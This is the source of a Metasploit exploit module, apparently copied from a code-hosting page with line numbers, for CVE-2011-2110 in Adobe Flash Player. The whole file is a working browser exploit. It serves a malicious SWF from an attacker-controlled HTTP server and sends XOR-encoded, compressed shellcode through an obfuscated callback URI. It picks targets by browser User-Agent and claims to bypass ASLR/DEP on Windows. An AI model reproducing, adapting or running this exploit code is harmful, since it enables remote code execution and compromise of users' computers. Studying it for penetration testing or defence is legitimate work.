Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::HttpServer::HTML
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Adobe Flash Player AVM Verification Logic Array Indexing Code Execution',
14
      'Description'    => %q{
15
          This module exploits a vulnerability in Adobe Flash Player versions 10.3.181.23
16
        and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification
17
        logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same
18
        vulnerability that was used for attacks against Korean based organizations.
19

20
          Specifically, this issue occurs when indexing an array using an arbitrary value,
21
        memory can be referenced and later executed. Taking advantage of this issue does not rely
22
        on heap spraying as the vulnerability can also be used for information leakage.
23

24
          Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several
25
        other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and
26
        is very reliable.
27
        },
28
      'License'        => MSF_LICENSE,
29
      'Author'         =>
30
        [
31
          'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit
32
          'Unknown'                                  # malware version seen used in targeted attacks
33
        ],
34
      'References'     =>
35
        [
36
          ['CVE', '2011-2110'],
37
          ['OSVDB', '73007'],
38
          ['BID', '48268'],
39
          ['URL', 'http://www.adobe.com/devnet/swf.html'],
40
          ['URL', 'http://www.adobe.com/support/security/bulletins/apsb11-18.html'],
41
          ['URL', 'http://www.accessroot.com/arteam/site/download.php?view.331'],
42
          ['URL', 'http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617'],
43
        ],
44
      'DefaultOptions' =>
45
        {
46
          'EXITFUNC'             => 'process',
47
          'HTTP::compression'    => 'gzip',
48
          'HTTP::chunked'        => true,
49
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
50
        },
51
      'Payload'        =>
52
        {
53
          'Space'       => 2000,
54
          'BadChars'    => "\x00",
55
          'DisableNops' => true
56
        },
57
      'Platform'       => 'win',
58
      'Targets'        =>
59
        [
60
          [ 'Automatic', {}],
61
        ],
62
      'DisclosureDate' => '2012-06-21',
63
      'DefaultTarget'  => 0))
64
  end
65

66
  def exploit
67
    # src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as
68
    # full aslr/dep bypass using the info leak as per malware
69
    path = File.join( Msf::Config.data_directory, "exploits", "CVE-2011-2110.swf" )
70
    fd = File.open( path, "rb" )
71
    @swf = fd.read(fd.stat.size)
72
    fd.close
73
    super
74
  end
75

76
  def check_dependencies
77
    use_zlib
78
  end
79

80
  def get_target(agent)
81
    #If the user is already specified by the user, we'll just use that
82
    return target if target.name != 'Automatic'
83

84
    if agent =~ /MSIE/
85
      return targets[0]  # ie 6/7/8 tested working
86
    elsif agent =~ /Firefox/
87
      return targets[0]  # ff 10.2 tested working
88
    else
89
      return nil
90
    end
91
  end
92

93
  def on_request_uri(cli, request)
94
    agent = request.headers['User-Agent']
95
    my_target = get_target(agent)
96

97
    # Avoid the attack if the victim doesn't have the same setup we're targeting
98
    if my_target.nil?
99
      print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
100
      send_not_found(cli)
101
      return
102
    end
103

104
    xor_byte  = 122
105
    trigger   = @swf
106
    trigger_file = rand_text_alpha(rand(6)+3) + ".swf"
107
    code = rand_text_alpha(rand(6)+3) + ".txt"
108

109
    sc = Zlib::Deflate.deflate(payload.encoded)
110
    shellcode = ""
111

112
    sc.each_byte do | c |
113
      shellcode << (xor_byte ^ c)
114
    end
115

116
    uri  = ((datastore['SSL']) ? "https://" : "http://")
117
    uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
118
    uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}"
119

120
    bd_uri = Zlib::Deflate.deflate(uri)
121

122
    uri = ""
123
    bd_uri.each_byte do | c |
124
      uri << (xor_byte ^ c)
125
    end
126

127
    bd_uri = uri.unpack("H*")[0]
128

129
    obj_id = rand_text_alpha(rand(6)+3)
130

131
    if request.uri.match(/\.swf/i)
132
      print_status("Sending malicious swf")
133
      send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
134
      return
135
    end
136

137
    if request.uri.match(/\.txt/i)
138
      print_status("Sending payload")
139
      send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
140
      return
141
    end
142

143
    html =  <<-EOS
144
    <html>
145
    <head>
146
    </head>
147
    <body>
148
    <center>
149
    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
150
    id="#{obj_id}" width="600" height="400"
151
    codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
152
    <param name="movie" value="#{get_resource}/#{trigger_file}?info=#{bd_uri}" />
153
    <embed src="#{get_resource}/#{trigger_file}?info=#{bd_uri}" quality="high"
154
    width="320" height="300" name="#{obj_id}" align="middle"
155
    allowNetworking="all"
156
    type="application/x-shockwave-flash"
157
    pluginspage="http://www.macromedia.com/go/getflashplayer">
158
    </embed>
159
    </object>
160
    </center>
161
    </body>
162
    </html>
163
    EOS
164

165
    html = html.gsub(/^ {4}/, '')
166

167
    print_status("Sending #{self.name} HTML")
168
    send_response(cli, html, { 'Content-Type' => 'text/html' })
169
  end
170
end
171

172